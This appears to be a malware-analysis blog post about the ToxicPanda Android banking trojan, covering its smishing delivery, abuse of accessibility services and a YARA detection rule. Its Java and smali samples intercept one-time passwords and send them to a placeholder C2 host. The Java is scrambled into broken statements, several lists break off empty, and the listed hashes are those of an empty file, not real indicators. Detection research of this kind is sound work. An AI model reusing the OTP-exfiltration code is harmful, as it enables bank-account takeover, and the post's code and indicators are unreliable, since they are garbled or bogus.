In late October 2024, cybersecurity researchers identified a new Android banking trojan—dubbed ToxicPanda. Although initially classified as a member of the TgToxic family due to similarities in command syntax, subsequent analysis revealed significant code differences that warranted reclassification as a distinct threat. In this post, we explore ToxicPanda’s origin, infection methods, payload activities, and low-level internals, offering practical details and example code to assist reverse engineers in detection and analysis.
Early reports indicate that ToxicPanda primarily targets retail banking applications in several European and Latin-American regions. Notably, while many Android banking trojans originate from well-known cybercrime groups, analysis by threat intelligence firms suggests that ToxicPanda’s development may be linked to Chinese-speaking threat actors—a surprising twist given the traditional focus of such groups on Asian targets.
ToxicPanda spreads primarily through social engineering:
Phishing Emails and SMS (Smishing): Malicious links are embedded in messages that mimic legitimate notifications. Victims are tricked into side-loading an APK that masquerades as a benign or useful application.
Fake App Store Listings: The malware often disguises itself as a trusted application available via an imitation Google Play page, prompting users to download the APK from unofficial sources.
Once installed, ToxicPanda requests extensive permissions, including those for Android’s accessibility services. By abusing these services, the trojan can:
Overlay UI elements: Intercept OTP (One-Time Password) notifications.
Record keystrokes and screen activity: Harvest sensitive banking credentials and intercept SMS messages.
ToxicPanda’s payload is engineered for on-device fraud (ODF) and account takeover (ATO):
ToxicPanda’s APK reveals a modular architecture:
AccessibilityService
methods and unusual
overrides in the service’s lifecycle.public class ToxicAccessibilityService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
if(event.getPackageName().toString().equals("com.android.messaging")) {
String message = event.getText().toString();
if(message.contains("Your OTP is")) {
Matcher matcher = Pattern.compile("\d{6}").matcher(message);
if(matcher.find()) {
String otp = matcher.group();
exfiltrateOTP(otp);
}
}
}
}
private void exfiltrateOTP(String otp) {
= new HttpPost("https://malicious-c2.example.com/otp");
HttpPost post .setEntity(new StringEntity("{"otp":"" + otp + ""}", "UTF-8"));
post.execute(post);
httpClient}
@Override
public void onInterrupt() { }
}
.method private sendData(Ljava/lang/String;)V
.locals 3
const-string v0, "https://malicious-c2.example.com/exfil"
new-instance v1, Lorg/apache/http/client/methods/HttpPost;
invoke-direct {v1, v0}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
new-instance v2, Lorg/apache/http/entity/StringEntity;
invoke-direct {v2, p1}, Lorg/apache/http/entity/StringEntity;-><init>(Ljava/lang/String;)V
invoke-virtual {v1, v2}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V
invoke-virtual {p0, v1}, Lcom/toxicpanda/NetworkClient;->execute(Lorg/apache/http/client/methods/HttpPost;)V
return-void
.end method
d41d8cd98f00b204e9800998ecf8427e
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
malicious-c2.example.com
com.fakebank.app
rule ToxicPanda_Detection {
meta:
description = "Detects ToxicPanda Android banking trojan based on string indicators"
author = "CyberSec Research"
date = "2025-02-14"
strings:
$accessibility = "accessibilityservice" wide ascii
$otp_trigger = "Your OTP is" wide ascii
$fake_package = "com.fakebank.app" wide ascii
condition:
any of ($accessibility, $otp_trigger, $fake_package)
}